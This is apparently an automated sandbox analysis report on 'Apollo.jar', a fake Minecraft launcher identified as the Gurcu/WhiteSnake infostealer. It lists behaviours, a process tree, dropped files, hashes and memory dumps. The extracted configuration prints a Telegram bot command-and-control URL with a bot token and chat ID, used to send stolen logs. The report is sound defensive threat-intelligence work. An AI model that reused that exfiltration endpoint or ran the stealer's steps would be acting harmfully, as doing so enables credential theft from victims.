Analysis

  • max time kernel
    121s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-12-2024 18:34

General

  • Target

    Apollo_Launcher/Apollo.jar

  • Size

    2.0MB

  • MD5

    15eb6fe01e6f4de3898fb3faae895d99

  • SHA1

    938d9712ba8b467f152b8ccbeb6c8808b923fc46

  • SHA256

    8bc91eaf5b775214114e924cae0ab9d121407f9e2f596dbe23392f50e1cdd504

  • SHA512

    7a0adf4c59ec37249ae6890abc15c7191a6acec5271321c65ab2eb3d1b98508a744e7e5efd041bbaafee76bc06f55e9398a3c9f87d5c3c0d1d06e6d98ebe2092

  • SSDEEP

    49152:clTene/sJMqUf0YS4N8+7euBwlLy6t2TSliSjek/:cline/pq1YF6d+ZTnSB/

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4549607810&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 33 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\Apollo_Launcher\Apollo.jar
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
      C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp92DA.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp92DA.tmp.bat
        3⤵
          PID:3852
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3300
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\3975551761\payload.dat
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:848

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

        Filesize

        1.7MB

        MD5

        65ccd6ecb99899083d43f7c24eb8f869

        SHA1

        27037a9470cc5ed177c0b6688495f3a51996a023

        SHA256

        aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

        SHA512

        533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

      • C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe

        Filesize

        5.6MB

        MD5

        31946abddd530c1e86f36c191046336b

        SHA1

        b480a8833f684cba353f628c087bf7297a4d4df8

        SHA256

        272a3703b7c4e353638c410008c95503abb90d47b81c5b253773cb0d546e5a0d

        SHA512

        93aeacbb4227b9ae1f731135dc42697fbdadff9c3259ccde9d7b7b4eecfef89c71e3d773df4281cae3d84f81246d6a95da9eaaea85efb949ca33a42f97ead8cb

      • C:\Users\Admin\AppData\Local\Temp\tmp92DA.tmp.bat

        Filesize

        215B

        MD5

        edecc78b2f241e1272f6197fe89b7e9c

        SHA1

        f454966e03384768f142ff452dbf351dc25bdfdf

        SHA256

        03f91fda3049aa1a33f7b680ba0fd7a2df926e878275ef0433be1838f3e884da

        SHA512

        e60e40c598001e122f8988bba13022db987c16a5515280c79e4b2ffcc5b507ff0a399a5273db533ba5ba37d63207af9b027eb7e768745d48499cc9a6fb86a04f

      • C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

        Filesize

        116KB

        MD5

        f70aa3fa04f0536280f872ad17973c3d

        SHA1

        50a7b889329a92de1b272d0ecf5fce87395d3123

        SHA256

        8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

        SHA512

        30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

      • memory/1628-105-0x000001B999690000-0x000001B9996A0000-memory.dmp

        Filesize

        64KB

      • memory/1628-192-0x000001B999750000-0x000001B999760000-memory.dmp

        Filesize

        64KB

      • memory/1628-18-0x000001B999500000-0x000001B999510000-memory.dmp

        Filesize

        64KB

      • memory/1628-20-0x000001B999510000-0x000001B999520000-memory.dmp

        Filesize

        64KB

      • memory/1628-22-0x000001B999520000-0x000001B999530000-memory.dmp

        Filesize

        64KB

      • memory/1628-23-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-28-0x000001B999530000-0x000001B999540000-memory.dmp

        Filesize

        64KB

      • memory/1628-31-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-33-0x000001B999540000-0x000001B999550000-memory.dmp

        Filesize

        64KB

      • memory/1628-35-0x000001B999550000-0x000001B999560000-memory.dmp

        Filesize

        64KB

      • memory/1628-38-0x000001B999560000-0x000001B999570000-memory.dmp

        Filesize

        64KB

      • memory/1628-37-0x000001B999260000-0x000001B9994D0000-memory.dmp

        Filesize

        2.4MB

      • memory/1628-42-0x000001B999570000-0x000001B999580000-memory.dmp

        Filesize

        64KB

      • memory/1628-41-0x000001B9994D0000-0x000001B9994E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-45-0x000001B9994E0000-0x000001B9994F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-47-0x000001B999580000-0x000001B999590000-memory.dmp

        Filesize

        64KB

      • memory/1628-48-0x000001B9994F0000-0x000001B999500000-memory.dmp

        Filesize

        64KB

      • memory/1628-49-0x000001B999590000-0x000001B9995A0000-memory.dmp

        Filesize

        64KB

      • memory/1628-52-0x000001B9995A0000-0x000001B9995B0000-memory.dmp

        Filesize

        64KB

      • memory/1628-51-0x000001B999500000-0x000001B999510000-memory.dmp

        Filesize

        64KB

      • memory/1628-59-0x000001B9995B0000-0x000001B9995C0000-memory.dmp

        Filesize

        64KB

      • memory/1628-57-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-56-0x000001B999510000-0x000001B999520000-memory.dmp

        Filesize

        64KB

      • memory/1628-64-0x000001B9995C0000-0x000001B9995D0000-memory.dmp

        Filesize

        64KB

      • memory/1628-66-0x000001B9995E0000-0x000001B9995F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-68-0x000001B999530000-0x000001B999540000-memory.dmp

        Filesize

        64KB

      • memory/1628-67-0x000001B9995F0000-0x000001B999600000-memory.dmp

        Filesize

        64KB

      • memory/1628-65-0x000001B9995D0000-0x000001B9995E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-63-0x000001B999520000-0x000001B999530000-memory.dmp

        Filesize

        64KB

      • memory/1628-71-0x000001B999600000-0x000001B999610000-memory.dmp

        Filesize

        64KB

      • memory/1628-70-0x000001B999540000-0x000001B999550000-memory.dmp

        Filesize

        64KB

      • memory/1628-74-0x000001B999550000-0x000001B999560000-memory.dmp

        Filesize

        64KB

      • memory/1628-75-0x000001B999610000-0x000001B999620000-memory.dmp

        Filesize

        64KB

      • memory/1628-77-0x000001B999620000-0x000001B999630000-memory.dmp

        Filesize

        64KB

      • memory/1628-76-0x000001B999560000-0x000001B999570000-memory.dmp

        Filesize

        64KB

      • memory/1628-80-0x000001B999630000-0x000001B999640000-memory.dmp

        Filesize

        64KB

      • memory/1628-79-0x000001B999570000-0x000001B999580000-memory.dmp

        Filesize

        64KB

      • memory/1628-85-0x000001B999640000-0x000001B999650000-memory.dmp

        Filesize

        64KB

      • memory/1628-84-0x000001B999580000-0x000001B999590000-memory.dmp

        Filesize

        64KB

      • memory/1628-90-0x000001B999650000-0x000001B999660000-memory.dmp

        Filesize

        64KB

      • memory/1628-89-0x000001B999590000-0x000001B9995A0000-memory.dmp

        Filesize

        64KB

      • memory/1628-95-0x000001B999660000-0x000001B999670000-memory.dmp

        Filesize

        64KB

      • memory/1628-94-0x000001B9995A0000-0x000001B9995B0000-memory.dmp

        Filesize

        64KB

      • memory/1628-97-0x000001B999670000-0x000001B999680000-memory.dmp

        Filesize

        64KB

      • memory/1628-96-0x000001B9995B0000-0x000001B9995C0000-memory.dmp

        Filesize

        64KB

      • memory/1628-103-0x000001B999680000-0x000001B999690000-memory.dmp

        Filesize

        64KB

      • memory/1628-102-0x000001B9995F0000-0x000001B999600000-memory.dmp

        Filesize

        64KB

      • memory/1628-108-0x000001B9996A0000-0x000001B9996B0000-memory.dmp

        Filesize

        64KB

      • memory/1628-100-0x000001B9995D0000-0x000001B9995E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-99-0x000001B9995C0000-0x000001B9995D0000-memory.dmp

        Filesize

        64KB

      • memory/1628-15-0x000001B9994E0000-0x000001B9994F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-107-0x000001B999600000-0x000001B999610000-memory.dmp

        Filesize

        64KB

      • memory/1628-101-0x000001B9995E0000-0x000001B9995F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-17-0x000001B9994F0000-0x000001B999500000-memory.dmp

        Filesize

        64KB

      • memory/1628-274-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-113-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-117-0x000001B9996C0000-0x000001B9996D0000-memory.dmp

        Filesize

        64KB

      • memory/1628-116-0x000001B999620000-0x000001B999630000-memory.dmp

        Filesize

        64KB

      • memory/1628-120-0x000001B9996D0000-0x000001B9996E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-119-0x000001B999630000-0x000001B999640000-memory.dmp

        Filesize

        64KB

      • memory/1628-124-0x000001B9996E0000-0x000001B9996F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-123-0x000001B999640000-0x000001B999650000-memory.dmp

        Filesize

        64KB

      • memory/1628-127-0x000001B9996F0000-0x000001B999700000-memory.dmp

        Filesize

        64KB

      • memory/1628-126-0x000001B999650000-0x000001B999660000-memory.dmp

        Filesize

        64KB

      • memory/1628-128-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-131-0x000001B999700000-0x000001B999710000-memory.dmp

        Filesize

        64KB

      • memory/1628-130-0x000001B999660000-0x000001B999670000-memory.dmp

        Filesize

        64KB

      • memory/1628-132-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/1628-134-0x000001B999670000-0x000001B999680000-memory.dmp

        Filesize

        64KB

      • memory/1628-135-0x000001B999710000-0x000001B999720000-memory.dmp

        Filesize

        64KB

      • memory/1628-138-0x000001B999720000-0x000001B999730000-memory.dmp

        Filesize

        64KB

      • memory/1628-137-0x000001B999680000-0x000001B999690000-memory.dmp

        Filesize

        64KB

      • memory/1628-141-0x000001B999730000-0x000001B999740000-memory.dmp

        Filesize

        64KB

      • memory/1628-140-0x000001B999690000-0x000001B9996A0000-memory.dmp

        Filesize

        64KB

      • memory/1628-145-0x000001B999740000-0x000001B999750000-memory.dmp

        Filesize

        64KB

      • memory/1628-144-0x000001B9996A0000-0x000001B9996B0000-memory.dmp

        Filesize

        64KB

      • memory/1628-148-0x000001B999750000-0x000001B999760000-memory.dmp

        Filesize

        64KB

      • memory/1628-147-0x000001B9996B0000-0x000001B9996C0000-memory.dmp

        Filesize

        64KB

      • memory/1628-152-0x000001B999760000-0x000001B999770000-memory.dmp

        Filesize

        64KB

      • memory/1628-151-0x000001B9996C0000-0x000001B9996D0000-memory.dmp

        Filesize

        64KB

      • memory/1628-156-0x000001B999770000-0x000001B999780000-memory.dmp

        Filesize

        64KB

      • memory/1628-155-0x000001B9996D0000-0x000001B9996E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-162-0x000001B9996F0000-0x000001B999700000-memory.dmp

        Filesize

        64KB

      • memory/1628-161-0x000001B999790000-0x000001B9997A0000-memory.dmp

        Filesize

        64KB

      • memory/1628-160-0x000001B999780000-0x000001B999790000-memory.dmp

        Filesize

        64KB

      • memory/1628-159-0x000001B9996E0000-0x000001B9996F0000-memory.dmp

        Filesize

        64KB

      • memory/1628-168-0x000001B999710000-0x000001B999720000-memory.dmp

        Filesize

        64KB

      • memory/1628-167-0x000001B9997B0000-0x000001B9997C0000-memory.dmp

        Filesize

        64KB

      • memory/1628-166-0x000001B9997A0000-0x000001B9997B0000-memory.dmp

        Filesize

        64KB

      • memory/1628-165-0x000001B999700000-0x000001B999710000-memory.dmp

        Filesize

        64KB

      • memory/1628-176-0x000001B999720000-0x000001B999730000-memory.dmp

        Filesize

        64KB

      • memory/1628-186-0x000001B999730000-0x000001B999740000-memory.dmp

        Filesize

        64KB

      • memory/1628-189-0x000001B999740000-0x000001B999750000-memory.dmp

        Filesize

        64KB

      • memory/1628-112-0x000001B9996B0000-0x000001B9996C0000-memory.dmp

        Filesize

        64KB

      • memory/1628-2-0x000001B999260000-0x000001B9994D0000-memory.dmp

        Filesize

        2.4MB

      • memory/1628-12-0x000001B9994D0000-0x000001B9994E0000-memory.dmp

        Filesize

        64KB

      • memory/1628-111-0x000001B999610000-0x000001B999620000-memory.dmp

        Filesize

        64KB

      • memory/1628-190-0x000001B9997C0000-0x000001B9997D0000-memory.dmp

        Filesize

        64KB

      • memory/1628-191-0x000001B999240000-0x000001B999241000-memory.dmp

        Filesize

        4KB

      • memory/2556-185-0x000001C01F5A0000-0x000001C01F616000-memory.dmp

        Filesize

        472KB

      • memory/2556-187-0x00007FFB66870000-0x00007FFB67331000-memory.dmp

        Filesize

        10.8MB

      • memory/2556-262-0x000001C037DE0000-0x000001C037EE2000-memory.dmp

        Filesize

        1.0MB

      • memory/2556-184-0x000001C01F460000-0x000001C01F46A000-memory.dmp

        Filesize

        40KB

      • memory/2556-178-0x000001C01D1E0000-0x000001C01D77A000-memory.dmp

        Filesize

        5.6MB

      • memory/2556-177-0x00007FFB66873000-0x00007FFB66875000-memory.dmp

        Filesize

        8KB